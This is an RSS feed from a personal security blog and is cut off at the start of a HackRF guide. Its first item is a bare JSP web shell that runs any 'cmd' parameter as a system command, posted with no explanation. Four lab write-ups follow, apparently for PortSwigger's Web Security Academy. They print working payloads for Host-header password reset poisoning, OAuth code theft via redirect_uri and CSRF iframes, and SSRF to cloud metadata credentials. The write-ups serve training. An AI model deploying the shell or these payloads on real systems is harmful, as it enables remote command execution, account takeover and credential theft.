<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Logs by Abhinav]]></title><description><![CDATA[Documenting the journey of building and learning.]]></description><link>https://log.page0.dev</link><image><url>https://cdn.hashnode.com/uploads/logos/69eb0c2b1e45c4e0da9bea4a/f684da10-babc-44cf-8e89-7be0835f5264.png</url><title>Logs by Abhinav</title><link>https://log.page0.dev</link></image><generator>RSS for Node</generator><lastBuildDate>Sun, 11 Oct 2026 13:58:15 GMT</lastBuildDate><atom:link href="https://log.page0.dev/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[Paylod]]></title><description><![CDATA[<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader r = new BufferedReader(new InputStreamReader(p]]></description><link>https://log.page0.dev/paylod</link><guid isPermaLink="true">https://log.page0.dev/paylod</guid><dc:creator><![CDATA[Abhinav]]></dc:creator><pubDate>Wed, 12 Aug 2026 11:42:53 GMT</pubDate><content:encoded><![CDATA[<p>&lt;%@ page import="java.io.*" %&gt;</p>
<p>&lt;%</p>
<p>String cmd = request.getParameter("cmd");</p>
<p>if (cmd != null) {</p>
<p>Process p = Runtime.getRuntime().exec(cmd);</p>
<p>BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()));</p>
<p>String line;</p>
<p>while ((line = r.readLine()) != null) {</p>
<p>out.println(line + "<br />");</p>
<p>}</p>
<p>}</p>
<p>%&gt;</p>
]]></content:encoded></item><item><title><![CDATA[LAB #04 Basic password reset poisoning]]></title><description><![CDATA[Lab Overview
This lab is vulnerable to password reset poisoning. The user carlos will carelessly click on any links in emails that he receives. To solve the lab, log in to Carlos's account.
You can lo]]></description><link>https://log.page0.dev/lab-04-basic-password-reset-poisoning</link><guid isPermaLink="true">https://log.page0.dev/lab-04-basic-password-reset-poisoning</guid><category><![CDATA[websecurity]]></category><category><![CDATA[cybersecurity]]></category><category><![CDATA[HostHeaderInjection]]></category><category><![CDATA[portswigger]]></category><category><![CDATA[owasp]]></category><dc:creator><![CDATA[Abhinav]]></dc:creator><pubDate>Wed, 15 Jul 2026 10:15:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/69eb0c2b1e45c4e0da9bea4a/d11eafef-3e91-4fa3-893b-d7c1fdc21a96.jpg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2><strong>Lab Overview</strong></h2>
<p>This lab is vulnerable to password reset poisoning. The user <code>carlos</code> will carelessly click on any links in emails that he receives. To solve the lab, log in to Carlos's account.</p>
<p>You can log in to your own account using the following credentials: <code>wiener:peter</code>. Any emails sent to this account can be read via the email client on the exploit server.</p>
<h2><strong>Exploitation</strong></h2>
<h3>#1 Analysing Password Reset</h3>
<p>On login page we can see a "Forgot your password?" functionality. and reset the password.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69eb0c2b1e45c4e0da9bea4a/a09d7c0e-45fa-4222-bd6a-e0150f54d8fe.png" alt="" style="display:block;margin:0 auto" />

<p>Enter the Username.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69eb0c2b1e45c4e0da9bea4a/852ed2fe-85c8-4c7c-b9b4-6d293d0886cc.png" alt="" style="display:block;margin:0 auto" />

<p>We will get a password reset link in our email.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69eb0c2b1e45c4e0da9bea4a/683fe880-d7c7-41ad-99eb-529a3e4c21d1.png" alt="" style="display:block;margin:0 auto" />

<p>Click the link and reset the password.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69eb0c2b1e45c4e0da9bea4a/7f307b77-f3b1-4544-91a9-f37838a80cca.png" alt="" style="display:block;margin:0 auto" />

<p>In Burp HTTP history we can find the <code>POST /forgot-password</code> request.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69eb0c2b1e45c4e0da9bea4a/e6a52a91-1442-439e-9b47-04c0bbf683bf.png" alt="" style="display:block;margin:0 auto" />

<p>This request is used to trigger the password reset email. This contains the username whose password is being reset as a body parameter.</p>
<h3>#2 Testing Host Header Injection</h3>
<p>Now send that request to repeater.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69eb0c2b1e45c4e0da9bea4a/60d3dd2e-8feb-493e-910f-2d0a4dfb1fae.png" alt="" style="display:block;margin:0 auto" />

<p>Change the <code>Host</code> header to any value and send the password reset request</p>
<img src="https://cdn.hashnode.com/uploads/covers/69eb0c2b1e45c4e0da9bea4a/404cc305-8bf0-427c-ac8a-5b878f8f18e5.png" alt="" style="display:block;margin:0 auto" />

<p>Open the new password reset email.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69eb0c2b1e45c4e0da9bea4a/766c1e9c-92fb-4b2e-a27e-0553f214e92f.png" alt="" style="display:block;margin:0 auto" />

<p>We can see that the reset link uses the modified <code>Host</code> header instead of the original domain.</p>
<h3>#3 Stealing Carlos's Reset Token</h3>
<p>Now change the <code>Host</code> header to your exploit server's domain.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69eb0c2b1e45c4e0da9bea4a/42f9bba4-be92-448b-8442-484ea7f62057.png" alt="" style="display:block;margin:0 auto" />

<p>Change the username to <code>carlos</code> and send the request.</p>
<p>Go to access log and copy Carlos reset token.</p>
<pre><code class="language-plaintext">temp-forgot-password-token=9uomlgp4hb5otpa18jih8noryoxjcmpx
</code></pre>
<p>Copy the password reset link from your first email and replace the reset token in the URL with Carlos's reset token.</p>
<pre><code class="language-plaintext">https://0acf008f043d08d680582bef0039004e.web-security-academy.net/forgot-password?temp-forgot-password-token=9uomlgp4hb5otpa18jih8noryoxjcmpx
</code></pre>
<h3>#4 Resetting Password and Verifying Access</h3>
<p>Open the modified URL in the Browser and reset Carlos's password.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69eb0c2b1e45c4e0da9bea4a/534a7710-9051-4df0-bcaf-4686429f0d3c.png" alt="" style="display:block;margin:0 auto" />

<p>Now login as Carlos.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69eb0c2b1e45c4e0da9bea4a/7337dc14-6a46-42df-ad74-6261f4ad6068.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/69eb0c2b1e45c4e0da9bea4a/9a0b4577-d130-48a4-b40b-90531348f2a7.png" alt="" style="display:block;margin:0 auto" />

<p>Successfully logged in as Carlos!</p>
<img src="https://cdn.hashnode.com/uploads/covers/69eb0c2b1e45c4e0da9bea4a/dab52c10-c610-4099-9ae9-e25f6d8358c4.png" alt="" style="display:block;margin:0 auto" />

<h3># And That’s a Wrap</h3>
<p>Password reset functionality should be tested carefully, as improper handling of the <code>Host</code> header can allow attackers to steal reset tokens and take over user accounts.</p>
]]></content:encoded></item><item><title><![CDATA[LAB#03 OAuth account hijacking via redirect_uri]]></title><description><![CDATA[Lab Overview
This lab uses an OAuth service to allow users to log in with their social media account. A misconfiguration by the OAuth provider makes it possible for an attacker to steal authorization ]]></description><link>https://log.page0.dev/lab-03-oauth-account-hijacking-via-redirect-uri</link><guid isPermaLink="true">https://log.page0.dev/lab-03-oauth-account-hijacking-via-redirect-uri</guid><category><![CDATA[oauth]]></category><category><![CDATA[Redirect URI]]></category><category><![CDATA[Web Security]]></category><category><![CDATA[portswigger]]></category><category><![CDATA[web security academy]]></category><category><![CDATA[cybersecurity]]></category><dc:creator><![CDATA[Abhinav]]></dc:creator><pubDate>Tue, 14 Jul 2026 10:28:52 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/69eb0c2b1e45c4e0da9bea4a/48aae37d-9cdc-4ee5-83af-4191418d298a.jpg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2><strong>Lab Overview</strong></h2>
<p>This lab uses an OAuth service to allow users to log in with their social media account. A misconfiguration by the OAuth provider makes it possible for an attacker to steal authorization codes associated with other users' accounts.</p>
<p>To solve the lab, steal an authorization code associated with the admin user, then use it to access their account and delete the user <code>carlos</code>.</p>
<p>The admin user will open anything you send from the exploit server and they always have an active session with the OAuth service.</p>
<p><strong>Credentials:</strong><br />Username: wiener<br />Password: peter</p>
<h2><strong>Exploitation</strong></h2>
<h3>#1 <strong>Logging In</strong></h3>
<p>By clicking My account it will redirect to social media login.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69eb0c2b1e45c4e0da9bea4a/ec3d8a9a-300c-44a8-a31d-4ef5d9021359.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/69eb0c2b1e45c4e0da9bea4a/a0444c5a-3233-426e-bd08-280ca1af97ab.png" alt="" style="display:block;margin:0 auto" />

<p>When redirection happens, it is sending a <code>GET</code> request to <code>/auth</code>.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69eb0c2b1e45c4e0da9bea4a/6dbdb69a-369d-475e-b87d-59403b20ad8f.png" alt="" style="display:block;margin:0 auto" />

<p><code>client_id: d29pyj8d1qb33zo061roj redirect_uri: https://0a7000d10463074782fc799300210026.web-security-academy.net/oauth-callback response_type: code scope: openid%20profile%20email</code></p>
<p>Here we can see that the <code>scope</code> is missing. <code>scope</code> specifies the permissions being requested (e.g., <code>openid profile email</code>).</p>
<p>Now login with credentials.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69eb0c2b1e45c4e0da9bea4a/3b5c2a76-9ec9-45c8-ba7f-7a384b4f35e3.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/69eb0c2b1e45c4e0da9bea4a/4d6d2fa5-da47-470d-a974-428c81fd522a.png" alt="" style="display:block;margin:0 auto" />

<p>OAuth <code>callback</code> request containing the authorization code. lets modify the <code>redirect_uri</code> to our exploit server and capture the victim's <code>code</code> parameter.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69eb0c2b1e45c4e0da9bea4a/f9470136-4ac7-44bf-b602-1f17efefe05c.png" alt="" style="display:block;margin:0 auto" />

<p>Here we can see it is redirecting to evil.net and the code is reusable.</p>
<h3><strong>#2 Crafting the Payload</strong></h3>
<p>Crafting the CSRF payload to get the <code>code</code> from the victim.</p>
<pre><code class="language-html">&lt;html&gt;
    &lt;head&gt;
        &lt;title&gt;PAYLOAD&lt;/title&gt;
    &lt;/head&gt;
    &lt;body&gt;
        &lt;iframe src="https://oauth-0a5900bd036f8961807c010902b60022.oauth-server.net/auth?client_id=v7j8CfcXOUHq9knuM7spVQtEL7gRqBej8-Iag9rV2mh&amp;redirect_uri=https://exploit-0acb000d033689718055022f01cb0047.exploit-server.net/exploit/log&amp;response_type=code&amp;scope=openid%20profile%20email"&gt;&lt;/iframe&gt;
    &lt;/body&gt;
&lt;/html&gt;
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/69eb0c2b1e45c4e0da9bea4a/23ffd7e4-261d-42a0-8d8b-412955e4f4a3.png" alt="" style="display:block;margin:0 auto" />

<p>Store the exploit and deliver the exploit to the victim, then go back to the access log and copy the victim's <code>code</code> from the resulting request.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69eb0c2b1e45c4e0da9bea4a/5cdd04a0-5079-49b0-8893-551702cb18c1.png" alt="" style="display:block;margin:0 auto" />

<h3>#3 Admin Access</h3>
<p>After logging out, open the following URL with the stolen OAuth code</p>
<img src="https://cdn.hashnode.com/uploads/covers/69eb0c2b1e45c4e0da9bea4a/3f44e718-f701-45b4-96bc-b910fb5ddcf9.png" alt="" style="display:block;margin:0 auto" />

<p>We got Admin panel access.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69eb0c2b1e45c4e0da9bea4a/8b3c2c2c-1355-4b11-a76b-2aa61f6d4c71.png" alt="" style="display:block;margin:0 auto" />

<p>Open the admin panel and delete <code>carlos</code> to solve the lab.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69eb0c2b1e45c4e0da9bea4a/aecdc6e4-0efa-411e-94c2-b6810c7615e5.png" alt="" style="display:block;margin:0 auto" />

<p>Deleted carlos!</p>
<img src="https://cdn.hashnode.com/uploads/covers/69eb0c2b1e45c4e0da9bea4a/41d90249-3c1e-4b6f-afe9-7abafe9e31e4.png" alt="" style="display:block;margin:0 auto" />

<h2><strong># And That’s a Wrap</strong></h2>
<p>OAuth authorization codes must be protected, as exposing them can result in account takeover.</p>
]]></content:encoded></item><item><title><![CDATA[LAB #02 Forced OAuth profile linking]]></title><description><![CDATA[Lab Overview
This lab gives you the option to attach a social media profile to your account so that you can log in via OAuth instead of using the normal username and password. Due to the insecure impl]]></description><link>https://log.page0.dev/lab-02-forced-oauth-profile-linking</link><guid isPermaLink="true">https://log.page0.dev/lab-02-forced-oauth-profile-linking</guid><category><![CDATA[cybersecurity]]></category><category><![CDATA[portswigger]]></category><category><![CDATA[OAuth Security]]></category><category><![CDATA[oauth]]></category><dc:creator><![CDATA[Abhinav]]></dc:creator><pubDate>Wed, 08 Jul 2026 11:57:56 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/69eb0c2b1e45c4e0da9bea4a/c5fd83dc-1dfb-4546-8627-b4d0e0b6c896.jpg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2><strong>Lab Overview</strong></h2>
<p>This lab gives you the option to attach a social media profile to your account so that you can log in via OAuth instead of using the normal username and password. Due to the insecure implementation of the OAuth flow by the client application, an attacker can manipulate this functionality to obtain access to other users' accounts.</p>
<p>To solve the lab, use a CSRF attack to attach your own social media profile to the admin user's account on the blog website, then access the admin panel and delete <code>carlos</code>.</p>
<p>The admin user will open anything you send from the exploit server and they always have an active session on the blog website.</p>
<p><strong>Credentials:</strong></p>
<ul>
<li><p>Blog website account: <code>wiener:peter</code></p>
</li>
<li><p>Social media profile: <code>peter.wiener:hotdog</code></p>
</li>
</ul>
<h2><strong>Exploitation</strong></h2>
<h3>#1 <strong>Logging In</strong></h3>
<p>As usual, after starting the lab, the provided credentials were used to log in through social media while Burp Suite captured the traffic.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69eb0c2b1e45c4e0da9bea4a/24cadeb9-8e83-40e0-82d6-a068d591315b.png" alt="" style="display:block;margin:0 auto" />

<p><strong>Standard Authorization Code flow typically includes:</strong></p>
<table>
<thead>
<tr>
<th>PARAMETER</th>
<th>PURPOSE</th>
</tr>
</thead>
<tbody><tr>
<td><code>response_type</code></td>
<td>Usually <code>code</code> for the Authorization Code flow.</td>
</tr>
<tr>
<td><code>client_id</code></td>
<td>Identifies the application requesting authorization.</td>
</tr>
<tr>
<td><code>redirect_uri</code></td>
<td>The URL where the authorization server redirects the user after authentication.</td>
</tr>
<tr>
<td><code>scope</code></td>
<td>Specifies the permissions being requested (e.g., <code>openid profile email</code>).</td>
</tr>
<tr>
<td><code>state</code></td>
<td>Random value to prevent CSRF attacks. Must be validated on return.</td>
</tr>
</tbody></table>
<img src="https://cdn.hashnode.com/uploads/covers/69eb0c2b1e45c4e0da9bea4a/6ac8824a-e010-4c71-bbeb-4ddbba79f22e.png" alt="" style="display:block;margin:0 auto" />

<p>Before entering the credential we captured the request which is usually using OAuth.</p>
<p><code>client_id: xdddru0pg8uxl4hrty90s redirect_uri: https://0aad003a0374551380a2a3b800a00051.web-security-academy.net/oauth-login response_type: code scope: openid%20profile%20email</code></p>
<p>Here we can see that the <code>scope</code> is missing.</p>
<p>Now login with the credentials:</p>
<img src="https://cdn.hashnode.com/uploads/covers/69eb0c2b1e45c4e0da9bea4a/86f9c71d-4ec3-4d5d-aad6-7ffc21ed1986.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/69eb0c2b1e45c4e0da9bea4a/a93a6e1e-4d50-48b7-91b5-3fb425548f54.png" alt="" style="display:block;margin:0 auto" />

<p>Now logout and login with Blog website account:</p>
<img src="https://cdn.hashnode.com/uploads/covers/69eb0c2b1e45c4e0da9bea4a/634c78ad-8bf0-4052-8fdd-cf3fd8fdf4a6.png" alt="" style="display:block;margin:0 auto" />

<p>We have successfully login with the Blog website account.<br />There is a option to Attach a social profile click it.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69eb0c2b1e45c4e0da9bea4a/30a46bd7-a175-461e-a998-7c34e75d9fd3.png" alt="" style="display:block;margin:0 auto" />

<p>Click continue and capture the request</p>
<img src="https://cdn.hashnode.com/uploads/covers/69eb0c2b1e45c4e0da9bea4a/5c846d08-4b6d-48ae-8877-41d9791e6586.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/69eb0c2b1e45c4e0da9bea4a/3accc828-f7d3-424f-8f43-985849b954f1.png" alt="" style="display:block;margin:0 auto" />

<p><code>client_id: d3rj4i8qd6vgrplhnrebp redirect_uri: https://0a0100260389c4908037946a007c0037.web-security-academy.net/oauth-linking response_type: code scope: openid%20profile%20email</code></p>
<p>Here the <code>redirect_uri</code> is different. still there is no <code>state</code> parameter on this</p>
<p>It is a redirection to <code>/auth</code> which a OAuth login prosses</p>
<img src="https://cdn.hashnode.com/uploads/covers/69eb0c2b1e45c4e0da9bea4a/9ce49051-cd80-489f-8110-b960305e1c6f.png" alt="" style="display:block;margin:0 auto" />

<h3>#2 Reusing an OAuth Authorization Code</h3>
<p>After the social provider authenticates you, it redirects back to the application with a request like:</p>
<p><code>GET /oauth-linking?code=abc123...</code></p>
<p>The <code>code</code> is a temporary OAuth authorization code.</p>
<p>Intercept this request in Burp Suite and drop it.</p>
<ul>
<li><p>Dropping the request prevents the application from exchanging the code for an access token.</p>
</li>
<li><p>The authorization code remains unused and is still valid for a short period.</p>
</li>
</ul>
<p>First forward the request:</p>
<img src="https://cdn.hashnode.com/uploads/covers/69eb0c2b1e45c4e0da9bea4a/a1db8a6e-e7e6-4f8b-b4e3-b687af4a23c0.png" alt="" style="display:block;margin:0 auto" />

<p>We will get this request with the code in it and drop it</p>
<img src="https://cdn.hashnode.com/uploads/covers/69eb0c2b1e45c4e0da9bea4a/a232950a-8b8c-4384-9596-0262d093c6d9.png" alt="" style="display:block;margin:0 auto" />

<p><code>code: RekBTYufEbFhJNShAhVyTF-p5ui8kFkr8fMFtBDb3UJ</code></p>
<p>Copy the URL containing the <code>code</code>  </p>
<h3><strong>#3 Crafting the Payload</strong></h3>
<p>Logout and click the exploit server.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69eb0c2b1e45c4e0da9bea4a/8d498f25-0c6c-46ba-95cc-c6145bc0f08d.png" alt="" style="display:block;margin:0 auto" />

<p>Now create a CSRF PoC and deliver it to the victim.</p>
<pre><code class="language-html">&lt;html&gt;
    &lt;head&gt;
        &lt;title&gt;PAYLOAD&lt;/title&gt;
    &lt;/head&gt;
    &lt;body&gt;
        &lt;iframe src="https://0a14008c046c044e838964cb00de001f.web-security-academy.net/oauth-linking?code=pbjHxFLY7qTs-7DX_CleYFtBe4Kf2dq1c9p_n3dlqOJ"&gt;&lt;/iframe&gt;
    &lt;/body&gt;
&lt;/html&gt;
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/69eb0c2b1e45c4e0da9bea4a/b1b57ef0-1ba1-4b31-8086-ca8d69d4541e.png" alt="" style="display:block;margin:0 auto" />

<p>First "store" the payload then "Deliver exploit to the victim"</p>
<h3>#4 Confirming the Attack</h3>
<p>Login again with "Login with social media".</p>
<img src="https://cdn.hashnode.com/uploads/covers/69eb0c2b1e45c4e0da9bea4a/05ac0a52-afc3-49cd-81c3-15e0a8360a69.png" alt="" style="display:block;margin:0 auto" />

<p>Successfully logged in as administrator .</p>
<img src="https://cdn.hashnode.com/uploads/covers/69eb0c2b1e45c4e0da9bea4a/3c2a9853-0cf6-4e7e-8b0e-daa90823ea17.png" alt="" style="display:block;margin:0 auto" />

<p>Got the access to admin panel.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69eb0c2b1e45c4e0da9bea4a/8599a7a8-108a-4638-8f87-fe7e180df000.png" alt="" style="display:block;margin:0 auto" />

<p>The goal was to access the admin panel and delete <code>carlos</code>.</p>
<p>Deleted carlos!</p>
<img src="https://cdn.hashnode.com/uploads/covers/69eb0c2b1e45c4e0da9bea4a/cebc49a4-430b-4289-94c4-3a32d8f5365f.png" alt="" style="display:block;margin:0 auto" />

<h2><strong># And That’s a Wrap</strong></h2>
<p>OAuth implementations should be tested just as carefully as any other authentication mechanism.</p>
]]></content:encoded></item><item><title><![CDATA[LAB #01 SSRF via OpenID dynamic client registration]]></title><description><![CDATA[Lab Overview
This lab allows client applications to dynamically register themselves with the OAuth service via a dedicated registration endpoint. Some client-specific data is used in an unsafe way by ]]></description><link>https://log.page0.dev/lab-01-ssrf-via-openid-dynamic-client-registration</link><guid isPermaLink="true">https://log.page0.dev/lab-01-ssrf-via-openid-dynamic-client-registration</guid><category><![CDATA[ssrf ]]></category><category><![CDATA[oauth]]></category><category><![CDATA[Burpsuite  ]]></category><category><![CDATA[OpenID Connect]]></category><category><![CDATA[websecurity]]></category><category><![CDATA[cybersecurity]]></category><dc:creator><![CDATA[Abhinav]]></dc:creator><pubDate>Mon, 06 Jul 2026 14:11:16 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/69eb0c2b1e45c4e0da9bea4a/551ae858-3e4f-4c1c-a6a7-3ad3a8b81b43.jpg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2><strong>Lab Overview</strong></h2>
<p>This lab allows client applications to dynamically register themselves with the OAuth service via a dedicated registration endpoint. Some client-specific data is used in an unsafe way by the OAuth service, which exposes a potential vector for SSRF. To solve the lab, craft an SSRF attack to access<code>http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/</code> and steal the secret access key for the OAuth provider's cloud environment.</p>
<p><strong>Target:</strong><br /><code>http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/</code></p>
<p><strong>Credentials:</strong><br />Username : <code>wiener</code><br />Password : <code>peter</code></p>
<h2>What is SSRF?</h2>
<p>An attacker can abuse a Server Side functionality to issue malicious requests to URLs that are not intended to be queried. By this an attacker might open internal URLs like <code>http://127.0.0.1</code> which are normally not accessible.</p>
<h2>What is OpenID Connect?</h2>
<p>OpenID Connect (OIDC) is a login and identity system built on OAuth 2.0 that allows users to securely sign in to applications using existing accounts such as Google, Microsoft, or other identity providers, without the application needing to store the user’s password.</p>
<h2>What is OpenID dynamic client registration?</h2>
<p>OpenID Dynamic Client Registration is a feature in OpenID Connect that allows an application to automatically register itself with the identity provider and receive a <code>client_id</code> and <code>client_secret</code> without manual setup in the provider dashboard.</p>
<h2>Exploitation</h2>
<h3>#1 Logging In</h3>
<p>After starting the lab, the provided credentials were used to log in, and Burp Suite captured the application traffic.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69eb0c2b1e45c4e0da9bea4a/df6cc05d-0bc1-45af-92ac-0e6e5dfd8571.png" alt="" style="display:block;margin:0 auto" />

<p>While accessing the <code>/my-account</code> it redirected to <code>/social-login</code> which communicate with <code>https://oauth-&lt;temporary-id&gt;</code></p>
<h3>#2 Finding the Endpoint</h3>
<p>If Dynamic Client Registration is enabled, the application can send a <code>POST</code> request to a <code>/registration</code> endpoint to create its OAuth/OIDC client automatically.</p>
<p>The request usually contains information about the application in JSON format, such as:</p>
<ul>
<li><p>redirect URIs</p>
</li>
<li><p>application name</p>
</li>
<li><p>logo URI</p>
</li>
<li><p>supported authentication methods</p>
</li>
</ul>
<p>After successful registration, the provider returns credentials like a <code>client_id</code> and <code>client_secret</code> that are later used during the login flow.</p>
<p><strong>Example registration request:</strong></p>
<pre><code class="language-javascript">POST /openid/register HTTP/1.1
Content-Type: application/json
Accept: application/json
Host: oauth-authorization-server.com
Authorization: Bearer ab12cd34ef56gh89

{
    "application_type": "web",
    "redirect_uris": [
        "https://client-app.com/callback",
        "https://client-app.com/callback2"
        ],
    "client_name": "My Application",
    "logo_uri": "https://client-app.com/logo.png",
    "token_endpoint_auth_method": "client_secret_basic",
    "jwks_uri": "https://client-app.com/my_public_keys.jwks",
    "userinfo_encrypted_response_alg": "RSA1_5",
    "userinfo_encrypted_response_enc": "A128CBC-HS256",
    …
}
</code></pre>
<p>If Dynamic Client Registration does not require authentication, attackers may register malicious applications and potentially exploit vulnerabilities such as SSRF.</p>
<p>We already go that it is communicating with another host:</p>
<img src="https://cdn.hashnode.com/uploads/covers/69eb0c2b1e45c4e0da9bea4a/1fdb2d6b-4d1e-42ae-89ea-ac13a7bd2f72.png" alt="" style="display:block;margin:0 auto" />

<p>The request was sent to Burp Repeater to check the OpenID configuration endpoint at <code>/.well-known/openid-configuration</code>.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69eb0c2b1e45c4e0da9bea4a/e512daf6-10be-430f-86a4-43d0fec6f1b0.png" alt="" style="display:block;margin:0 auto" />

<h2>#3 Client Registration</h2>
<p>The OAuth server exposed a registration endpoint at <code>/reg</code>.</p>
<pre><code class="language-javascript">"registration_endpoint":"https://oauth-0a9500e6037ae80d80265671028300b9.oauth-server.net/reg",
</code></pre>
<p>Next, we need to register our own client application with the OAuth service.</p>
<p><strong>So we need to create a POST request to dynamically register a client/myself:</strong></p>
<pre><code class="language-javascript">POST /reg HTTP/1.1
Host: oauth-0a2400cc04337b2fc038f7ce02e90099.oauth-server.net
Content-Type: application/json
Content-Length: 63

{
    "redirect_uris": [
        "https://test.com"
    ]
}
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/69eb0c2b1e45c4e0da9bea4a/13d17c6e-957b-4aca-b2ef-c092a96ca182.png" alt="" style="display:block;margin:0 auto" />

<p>successfully registered a new client application, and the server returned a <code>client_id</code>: <code>hb7m3_9dQzQhcdK3Zk96S</code></p>
<p>In HTTP history showed the OAuth page loading a logo from <code>/client/&lt;client_id&gt;/logo</code>.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69eb0c2b1e45c4e0da9bea4a/c0f2926d-2b52-490d-8f8e-7d911d71ee0d.png" alt="" style="display:block;margin:0 auto" />

<p>So we tried with our client id.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69eb0c2b1e45c4e0da9bea4a/86ab2599-06b7-4185-a84d-eeb1a74845c9.png" alt="" style="display:block;margin:0 auto" />

<p>But it showed <code>204 No Content</code>.</p>
<h2>#4 SSRF</h2>
<p>The client registration was successful. The next step was to test whether the <code>logo_uri</code> parameter could be abused to trigger SSRF requests to internal endpoints such as <code>http://169.254.169.254/latest/meta-data/iam/security-credentials/admin</code></p>
<ul>
<li><p>Go to Burp Collaborator and click copy to clipboard. <code>6u1nolu5q51mb8nwgdpydiaa016suii7.oastify.com</code></p>
</li>
<li><p>Register a Client application with <code>logo_uri</code></p>
<pre><code class="language-javascript">POST /reg HTTP/1.1
Host: oauth-0a2300af04ce8af38195335f02be005b.oauth-server.net
Content-Type: application/json
Content-Length: 137

{
    "redirect_uris": [
        "https://test.com"
    ],
    "logo_uri": "https://6u1nolu5q51mb8nwgdpydiaa016suii7.oastify.com"
}    
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/69eb0c2b1e45c4e0da9bea4a/1a71094b-8e1a-44be-8712-e2ea9f872c96.png" alt="" style="display:block;margin:0 auto" /></li>
</ul>
<p>Now we get a different <code>client_id: UcwVTh2cRaElSEyPxOrWx</code></p>
<ul>
<li>Using that <code>client_id</code> to fetch logo</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/69eb0c2b1e45c4e0da9bea4a/2c8655e1-b78b-4f4e-94bd-0e0b833777f2.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/69eb0c2b1e45c4e0da9bea4a/a04b4d87-9b36-4279-a0ca-809b81374493.png" alt="" style="display:block;margin:0 auto" />

<p>Successfully received a HTTP request, OAuth server is using the <code>logo_uri</code> and fetch the logo.</p>
<ul>
<li><p>SSRF attack<br />Craft an SSRF attack to access <code>http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/</code></p>
</li>
<li><p>Register a new client application with <code>logo_uri</code></p>
<pre><code class="language-javascript">POST /reg HTTP/1.1
Host: oauth-0a21000f03f6d5a5807de72a02aa00f7.oauth-server.net
Content-Type: application/json
Content-Length: 156

{
    "redirect_uris": [
        "https://test.com"
    ],
    "logo_uri": "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/"
}
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/69eb0c2b1e45c4e0da9bea4a/1bd15a19-b6d8-4e2a-8370-a0abc4215033.png" alt="" style="display:block;margin:0 auto" />

<p>And we got a <code>client_id: Mr_LXxqe7V1ciR16pSPYv</code></p>
</li>
<li><p>Now use the <code>client_id</code> to fetch logo</p>
<img src="https://cdn.hashnode.com/uploads/covers/69eb0c2b1e45c4e0da9bea4a/05d4f17a-4d8b-4b79-b386-6312f8d5d468.png" alt="" style="display:block;margin:0 auto" />

<p>Successfully retrieved the secret access key for the OAuth provider's cloud environment.<br /><code>SecretAccessKey: ZjLmbIbHRNTBgWOmpyfTYf0CFebNL6Ly1G2LGJ7Y</code></p>
<p>Submit it!</p>
<img src="https://cdn.hashnode.com/uploads/covers/69eb0c2b1e45c4e0da9bea4a/c97424b9-c212-40c6-8979-0679d627a634.png" alt="" style="display:block;margin:0 auto" /></li>
</ul>
<h2># And That’s a Wrap</h2>
<p>Even trusted login features can open unexpected attack paths.</p>
]]></content:encoded></item><item><title><![CDATA[The HackRF Guide Nobody Asked For]]></title><description><![CDATA[What Even is a HackRF?
